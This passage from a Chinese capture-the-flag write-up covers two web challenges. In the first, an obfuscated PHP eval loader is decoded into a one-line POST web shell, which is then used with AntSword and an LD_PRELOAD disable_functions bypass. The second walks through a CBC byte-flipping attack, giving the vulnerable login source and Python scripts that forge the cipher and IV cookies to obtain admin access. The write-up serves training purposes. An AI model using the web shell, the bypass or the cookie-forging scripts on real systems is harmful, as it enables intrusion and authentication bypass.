xa3Bzb1Z1UHhEU0lvcXBVNVlQUEtTUEJSemVzNVBlY0VQUHNFckJQb2xTMDFhUk41bXBJbzRtQnhsUjJDVlBtSWtuMEV6QllJTm0wMGZ1SjFvUFVFUXVtQ0xteVJHdklQQ1B1dFFQTjVycFBuZnVzUkN1SW80RzJpU0NOVWl2SUl4TFVBMVBOYU5QdVB1dVlNc1Nzb2x1c3ZpQ3MxVm1zRVluMXk1b1VQU0NKUEl2SVJRUEJvUG1QUHNlUEVxbXlJb3BKdDZQQlBnZU5QUG9OYW10VUt0R1lDWWVQeWF0Skt1dGZiNUx1SzBwTnRhdEhDZGIyblhCTnlZUkJLSVNOeWh0MUFqQllJdXZ5S1BQc1BrdHNLWkcweHNleXlHTEoxa3BJS1NHWUlMUEluanBOS1BMSUtYQm1Jc3ZQSWFwY29QUGh4eG9CUFNtSnRHcFZ0dFBtUDRCMmc0cDBLSXBWb29ueW9VR0o1TlAxbmp6QlJ4bjBLZlB1MWpQeVBJUEphQnB1eGxvSW96bXlDV0xZb2tQdWJPUHNQNEN1dFZwVktTbjBFeFAxUnJCeVJJU04xTExOdEdvQlJJcDBLSUJKS29wSml0UE41bHV5QmpSY0lMUEI0T3V5UjBMeW9ndlZDQm5Cb1ZQc0JpbjFEaVNWTWtTMG9hdVB2NUxQS0F2Vnh4dHV0R1B1NXJtdW5PbkJhdHBoTXVvVXhIcDBLSVNOMXNQczVaUElQckJOUFZTVm9zcHNEakdKMGl1SlBhUklvTG5JS05QMjV6dklFTlNjUG1TMmlmdXVhMHRJR092VlJ1UzN4dFBzeHNTSkNoUEp4QlMwb211c29JdjBLVlJOS3NuVnRLUG1Fc3AxR09wY29oUFBHaUJQUHN0UGJpQnNSb1B1eG9QUG9ybk5FV2VjUHRwaHhkRzBQekxKRWhQSElZbjBLUW9OaWplSVBOUHlSeXQxS3p1c3Y0dkIxS1MzQ3J0UEVxdXU1Z0JQdFpieUtQblZiaUJ5UHpueUtoUlVLdXBWTWZQY0lOdDFvSW5tQ1NudXhqR0phTnBQeWh6QnlTTFZNNEdCUHN1SVBaTHMxWW5ZSWRCdTFqUEp0QW8yOXJ0dXhhb0lvenB5dFBMeU15dDJ4Mm9ONXJuTkVhblBLeXBodHVCWU1TdHlSWm1ITUx0SkYxQjJhZ3YxeVdSVXR1bkhNM1BKYTRCUG9Bb05LWVAxb0RQTmFOQjFLTnRoQ3J0M3Rxb2NNMFNQQk9vTjl1bkpqMlAxUHVuUElQb1VQQm5QRVZ1UFBEdVBQdUxZTWtTM0YxQnUxNEwyQ0ltc0trUDFvaUdmQ3JtMnRndlZ4UHR5b2hvQlJTbXlLVnpWQ3J0M3Rxb2NNMFNQQk9vTjl1bkpqMlAxUHVuUElQb1VQQm5QRVZ1UFBEdVBQdUxZTWtTM0YxQnUxNEwyQ0ltc0trUDFvaUdmQ3JtMnRndlZ4UHR5b2hvQlJTbXlLVnpWTW5iMUVJdW1FckNQUElDaFJoUHM1bm9JUHV0TnRhUEhFbVB5S3hHc0I1QnlFZ0JzNXNuSnRvR1B2MWJ5S2F0SG9tdDFBMkcxUkRMSUdpTEh5QkxVNTBCMmFydlBvR0JZdGRiMUVFdUo1dVBJRGpuQkNCbjJ4WEdZQ1NldXRWQ2h0aHVWTU9QeVBzdDFFdXZWS3hQUEVvb1BQakxKRVZMc2l0bnV0aUcwb1NtUFBOQllDb24wb2d1UEIxYnlQYUJ5RW50VUlmTHNSMFNKYmpSTnlQbkp0WFBZRWdDeVJQUFlJdFB1dElQY0lMdDF5UFNJeVBQc0RqR0phNENQSWFlVWFZdEI1ckd5UnV2dW5mTHM5c3BWTTRQQm91UDJQVnVzNVN0ZnhqTDFDV3ZVOTNRbTBrckxzN1FmND0iO2V2YWwoJz8+Jy4kQndsdHFPWWJIYVFrUlBOb3hjZm5GbXpzSWpoZE1EQVdVZUtHZ3ZpVnJKWnBMdVhFVFN5QygkaFlYbFRnQnFXQXBPYnhKdmVqUFJTZEhHUW5hdURpc2ZFTklGeW9jcmtVTHdtS01DdFZ6Wigkdk53VE9zS1BFQWxMY2lKREJoV3RSU0hYZW1wSXJqeVFVdUdvYWtuWUNkRnpxWk14ZmJnVigkTnZpdXl3Q2VQV0VHbGFjQW1manJnQk1UWVh6SFpwSXhEcVFuc1VLa2hvdEZTT1JkVkpMYiwkY2lNZlRYcFBvSkh6WkJ4TE92bmdqUUNiZElHa1lsVk5TdW1GckFVZVdhc0t5RXR3aERxUioyKSwkdk53VE9zS1BFQWxMY2lKREJoV3RSU0hYZW1wSXJqeVFVdUdvYWtuWUNkRnpxWk14ZmJnVigkTnZpdXl3Q2VQV0VHbGFjQW1manJnQk1UWVh6SFpwSXhEcVFuc1VLa2hvdEZTT1JkVkpMYiwkY2lNZlRYcFBvSkh6WkJ4TE92bmdqUUNiZElHa1lsVk5TdW1GckFVZVdhc0t5RXR3aERxUiwkY2lNZlRYcFBvSkh6WkJ4TE92bmdqUUNiZElHa1lsVk5TdW1GckFVZVdhc0t5RXR3aERxUiksJHZOd1RPc0tQRUFsTGNpSkRCaFd0UlNIWGVtcElyanlRVXVHb2FrbllDZEZ6cVpNeGZiZ1YoJE52aXV5d0NlUFdFR2xhY0FtZmpyZ0JNVFlYekhacEl4RHFRbnNVS2tob3RGU09SZFZKTGIsMCwkY2lNZlRYcFBvSkh6WkJ4TE92bmdqUUNiZElHa1lsVk5TdW1GckFVZVdhc0t5RXR3aERxUikpKSk7")); ?>这里将其保持到本地的index.php文件中然后通过在线混淆解密php网站上传混淆加密的index.php文件进行解密https://www.zhaoyuanma.com/phpjm.html解密后,会生成一个index.php的文件。得到index.php解密后的php代码:<?phphighlight_file(njVysBZvxrLkFYdNofcgGuawDJblpOSQEHRUmKiAhzICetPMqXWT);@eval($_POST[ymlisisisiook]);?>该代码是一句话木马,连接木马为ymlisisisiook下面,直接用蚁剑连接远程连接,成功链接
但是发现只能访问/var/www/html/目录,其他目录被限制访问了。
利用蚁剑的"绕过disable_functions"插件检测一下函数,发现putenv没有被禁用linux主机,putenv=on,这里选择LD_PRELOAD模式来启用putenv点击开始,执行成功。访问生成的文件,测试连接成功http://114.67.246.176:10472/.antproxy.php在根目录下发现存在flag文件查看flag文件,即可得到flag内容最终得到flag:flag{05e166fd1d622e0fd56cf62c62bf93da}
题目名称:CBC题目描述:CBC字节翻转攻击 flag{}题目writeup:其启动题目场景,获得靶场网站,访问网站,发现页面是登录窗口http://114.67.246.176:15246/通过dirsearch.py对目录进行扫描,发现目标靶机系统中存在.index.php.swp文件python3 dirsearch.py -u http://114.67.246.176:15246/访问.index.php.swp文件,可下载文件,查看该文件,发现是乱码http://114.67.246.176:15246/.index.php.swp将下载到本地的indxe.php.swp上传到linux系统中通过vim -r 命令对index.php文件进行文件恢复。vim -r index.php 可以看到成功恢复出index.php文件内容得到index.php内容:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Login Form</title><link href="static/css/style.css" rel="stylesheet" type="text/css" /><script type="text/javascript" src="static/js/jquery.min.js"></script><script type="text/javascript">$(document).ready(function() { $(".username").focus(function() { $(".user-icon").css("left","-48px"); }); $(".username").blur(function() { $(".user-icon").css("left","0px"); });
$(".password").focus(function() { $(".pass-icon").css("left","-48px"); }); $(".password").blur(function() { $(".pass-icon").css("left","0px"); });});</script></head>
<?phpdefine("SECRET_KEY", file_get_contents('/root/key'));define("METHOD", "aes-128-cbc");session_start();
function get_random_iv(){ $random_iv=''; for($i=0;$i<16;$i++){ $random_iv.=chr(rand(1,255)); } return $random_iv;}
function login($info){ $iv = get_random_iv(); $plain = serialize($info); $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv); $_SESSION['username'] = $info['username']; setcookie("iv", base64_encode($iv)); setcookie("cipher", base64_encode($cipher));}
function check_login(){ if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){ $cipher = base64_decode($_COOKIE['cipher']); $iv = base64_decode($_COOKIE["iv"]); if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){ $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>"); $_SESSION['username'] = $info['username']; }else{ die("ERROR!"); } }}
function show_homepage(){ if ($_SESSION["username"]==='admin'){ echo '<p>Hello admin</p>'; echo '<p>Flag is $flag</p>'; }else{ echo '<p>hello '.$_SESSION['username'].'</p>'; echo '<p>Only admin can see flag</p>'; } echo '<p><a href="loginout.php">Log out</a></p>';}
if(isset($_POST['username']) && isset($_POST['password'])){ $username = (string)$_POST['username']; $password = (string)$_POST['password']; if($username === 'admin'){ exit('<p>admin are not allowed to login</p>'); }else{ $info = array('username'=>$username,'password'=>$password); login($info); show_homepage(); }}else{ if(isset($_SESSION["username"])){ check_login(); show_homepage(); }else{ echo '<body class="login-body"> <div id="wrapper"> <div class="user-icon"></div> <div class="pass-icon"></div> <form name="login-form" class="login-form" action="" method="post"> <div class="header"> <h1>Login Form</h1> <span>Fill out the form below to login to my super awesome imaginary control panel.</span> </div> <div class="content"> <input name="username" type="text" class="input username" value="Username" onfocus="this.value=\'\'" /> <input name="password" type="password" class="input password" value="Password" onfocus="this.value=\'\'" /> </div> <div class="footer"> <input type="submit" name="submit" value="Login" class="button" /> </div> </form> </div> </body>'; }}?></html>基础知识:1.加解密过程
0x01:加密过程如下图(来自《图解密码技术》一书)
0x02:解密过程(来自《图解密码技术》一书)
CBC模式的加密过程主要分为这几步:
1. 将明文分为若干组(16个字节为一组),最后一组不足则用特殊字符填充
2.生成一个初始向量iv和密钥
3.用iv与第一组明文异或(iv只影响第一组生成的密文)
4. 然后再用前n组密文与后n+1组明文异或生成第n+1组密文,以次重复
5.最后将生成的密文拼接起来,就成了最终密文
CBC模式的解密过程主要分为这几步:
1.将密文分组
2.用iv与第一组密文xor,解密得到第一组明文
3.用第n组密文与第n+1组密文xor,解密得到第n+1组明文,以此类推
4.将各组的明文拼接在一起就是最终要得到的明文了
这里注意一下:解密的时候前一组密文只影响后一组明文的结果,而不会影响其他组明文的结果,由图也可看得出,这个也是进行攻击的重要之处。
2.CBC字节翻转攻击:
我们需要改变前一组密文的一个字节,然后与下一组的密文异或,我们就可以得到一个不同的明文了,从而就能达到攻击的效果。如图:
举个例子:
我现在有个明文序列:helloworld,现在我以它2个字节为一组进行分组(一般是16个字节为一组,但是这里为了方便起见就以2个字节为一组了)
第一组:he
第二组:ll
第三组:ow
第四组:or
第五组:ld
现在我想把第三组 “ow”中的o翻转为x,那么我们就需要改变第二组的密文从而改变第三的明文
phaintext="helloworld"
enc=encrypt(phaintext)
enc1=chr(ord(enc[5])^ord("o")^ord("x")) #enc[5]即是与“o”相同比特位的密文,也就是说第三组只有"o"这个比特位受影响,而“w”不受影响
result=decrypt(enc1)
这里注意一下:任何字符与本身xor都是为0,任何字符与0xor都为本身,如A xor A=0,A xor 0=A
简单的代码审计:审计源码首先要找到程序起点,跟着程序走一遍,了解流程。程序起点在这个if里:我们以else为分割符,先看上面一段的代码。程序接收到POST参数(username,password),并且禁止admin登陆。当用户名不是admin的时候,首先把用户名密码放入数组,传到login方法中。login方法对传入的数组进行了序列化,并且使用aes-128-cbc对序列化进行加密。iv(初始化向量)是随机生成的。最终把cipher和iv放入cookie。再到show_homepage()方法,检测$_SESSION中的username是admin时,打印flag。否则提示Only admin can see flag然后审计else的下半部分,这里是上半部分操作执行过后,存在$_SESSION[‘username’]时执行。当不存在POST数据或者$_SESSION[‘username’]时,显示登陆页面。有$_SESSION[‘username’]时,进入check_login()方法。当cookie中存在cipher、iv时,对cipher进行解密。这里是解题的关键,可以通过修改cookie中的cipher值,将序列化数据的用户名修改成admin。从而绕过程序起点处禁止admin登陆的判断。最后执行到show_homepage()方法,当我们在check_login()中把用户名修改为admin时,这里输出flag。
首先,我们先正常输入账号admin,密码123456。提示admin用户不允许登录。
尝试输入账号zadmin,密码123456,显示成功登录,并只有admin用户才能查看到flag;同时并通过bupsuit对其抓包,并发送数据包.
在http响应头部中发现set-cookie中包含iv和chipher参数变量和对应的值。猜测是CBC模式的加密。
得到:Set-Cookie: iv=YBCzp2mRS6QWKE%2F5bvbm8Q%3D%3DSet-Cookie: cipher=klN2ta6fm%2Bqe1W8%2FgsejaiR78rQD5l8%2FOXqE3Mvku%2FFc2gmMj4AWWhf7brCVqNn84gJCxqg9h4EU8pL7z3%2FaMw%3D%3D通过python脚本将cipher进行翻转:#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2018-03-15 11:45:57
# @Author : Mr.zhang(s4ad0w.protonmail.com)
# @Link : http://blog.csdn.net/csu_vc
import base64
import requests
import urllib
iv_raw='YBCzp2mRS6QWKE%2F5bvbm8Q%3D%3D' #这里填写第一次返回的iv值
cipher_raw='klN2ta6fm%2Bqe1W8%2FgsejaiR78rQD5l8%2FOXqE3Mvku%2FFc2gmMj4AWWhf7brCVqNn84gJCxqg9h4EU8pL7z3%2FaMw%3D%3D' #这里填写第一次返回的cipher值
print "[*]原始iv和cipher"
print "iv_raw: " + iv_raw
print "cipher_raw: " + cipher_raw
print "[*]对cipher解码,进行反转"
cipher = base64.b64decode(urllib.unquote(cipher_raw))
#a:2:{s:8:"username";s:5:"zdmin";s:8:"password";s:5:"12345"}
#s:2:{s:8:"userna
#me";s:5:"zdmin";
#s:8:"password";s
#:3:"12345";}
xor_cipher = cipher[0:9] + chr(ord(cipher[9]) ^ ord('z') ^ ord('a')) + cipher[10:] #请根据你的输入自行更改,原理看上面的介绍
xor_cipher=urllib.quote(base64.b64encode(xor_cipher))
print "反转后的cipher:" + xor_cipher
得到chipher反转后的值:klN2ta6fm%2Bqezm8/gsejaiR78rQD5l8/OXqE3Mvku/Fc2gmMj4AWWhf7brCVqNn84gJCxqg9h4EU8pL7z3/aMw%3D%3D再次访问主页(实际上访问的是admin2账号后台主页),并抓包,这里是get请求,将cookie中的chipher设置为:klN2ta6fm%2Bqezm8/gsejaiR78rQD5l8/OXqE3Mvku/Fc2gmMj4AWWhf7brCVqNn84gJCxqg9h4EU8pL7z3/aMw%3D%3D,并发送数据包,发现在响应页面得到一串加密的base64字符串。GET / HTTP/1.1Host: 114.67.246.176:16565User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateCookie: _ga=GA1.1.281991049.1629731649; PHPSESSID=qppqc8ta6use8t2q9gdqui3ukg; iv=YBCzp2mRS6QWKE%2F5bvbm8Q%3D%3D; cipher=klN2ta6fm%2Bqezm8/gsejaiR78rQD5l8/OXqE3Mvku/Fc2gmMj4AWWhf7brCVqNn84gJCxqg9h4EU8pL7z3/aMw%3D%3DConnection: close
得到加密的base64:VDYOv5Hvb8v7zHXM/Va0PG1lIjtzOjY6ImFhZG1pbiI7czo4OiJwYXNzd29yZCI7czozOiIxMjMiO30=可以看到,服务器提示反序列化失败,但是其实我们这个时候只要对这个进行base64解码就会发现,我们的username已经变成了aadmin
这里对usernmae进行了检测只有admin才能看得到flag,但是admin又不允许登陆,这里看起来有点矛盾,
但是我们再看看前面的代码,这个对登陆信息进行序列化然后用CBC模式的加密方式进行加密最后base64_encode,
然后我们要做的是以admin的身份登陆,我们可以操作cookie中的iv和cipher进行CBC字节翻转攻击。
然后我们以账号为admia,密码为12345登陆
得到的明文是:a:2:{s:8:"username";s:5:"admia";s:8:"password";s:5:"12345"}
然后16个字节分组得到
s:2:{s:8:"userna
me";s:5:"admia";
s:8:"password";s
:3:"12345";}
所以我们要翻转的是第二组的“a”翻转为“n”,所以我们要改变第一组的密文从而达到攻击的效果:
这里得到admin账号得到chiper字符:
import base64
cipher="yQQeUDxlzRvPToe631KV1vcy8DyI4e0kz7Knb9K6GIH4yP8Q32kufQvWoD7oN3hzi2EpiBxx6t/7sfIH1pCExg=="
plain=base64.b64decode(cipher)
result=plain[0:13]+chr(ord(plain[13])^ord("n")^ord("a"))+plain[14:]
print base64.b64encode(result)
#print R0dGVia+fJ24Ei3t29NC90P5kRbHXnW+D690WNWHnATH3UHvC4h+btceizE5jotDgG0QZLa9LOdwSAg9LcsCdw==
得到admin账号的chiper:yQQeUDxlzRvPToe6312V1vcy8DyI4e0kz7Knb9K6GIH4yP8Q32kufQvWoD7oN3hzi2EpiBxx6t/7sfIH1pCExg==
再次通过bupsuit 抓包发送,这里在http请求头部中将chiper修改为:yQQeUDxlzRvPToe6312V1vcy8DyI4e0kz7Knb9K6GIH4yP8Q32kufQvWoD7oN3hzi2EpiBxx6t/7sfIH1pCExg==发送数据包后,在响应页面,得到加密的字符串base64POST过去提示不能正常反序列化,因为我们修改了第一组的密文,导致第一组的密文与iv xor会出错,从而导致了第一组明文不能正常解密,所以我们还要对iv进行修改得到加密base64字符串:GhmKmwFwjmIeWfHGAtJ4fW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6IjEyMzQ1Ijt9,对其解密发现解密后的字符串中包含admin账号,而明文字段不能正常显示。出现这种错误,根据CBC解密原理,我们只需要修改iv的值,使得iv XOR 解密(密文1) = 明文1
代码如下(由于我中途输入错了iv,所以代码中的iv和cipher和图中可能会不一样,但是思路是一样的):
注意一下第二步不要修改cipher,只需要修改iv就行了,因为我两个图中的cipher是不一样的,所以我还是要说一下的,以免误人子弟
得到新的iv:
import base64
cipher="wRPT3VONV2zFV6D2PbHjIm1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6IjEyMzQ1Ijt9"
plain=base64.b64decode(cipher)
oldiv=base64.b64decode("uxrq4TtskqrNJh7JUZV9rg==")
one='a:2:{s:8:"userna'
iv=""
for i in range(0,16):
iv=iv+chr(ord(one[i])^ord(plain[i])^ord(oldiv[i]))
print base64.b64encode(iv)#iv=GzMLBhOS//4yU8tMCVbw7Q==
GzMLBhOS//4yU8tMCVbw7Q==
将IV修改为:GzMLBhOS//4yU8tMCVbw7Q==
再次发送请求包,最终得到flag
最终 flag:flag{862a6ff5b80d324306de118ca75d9e16}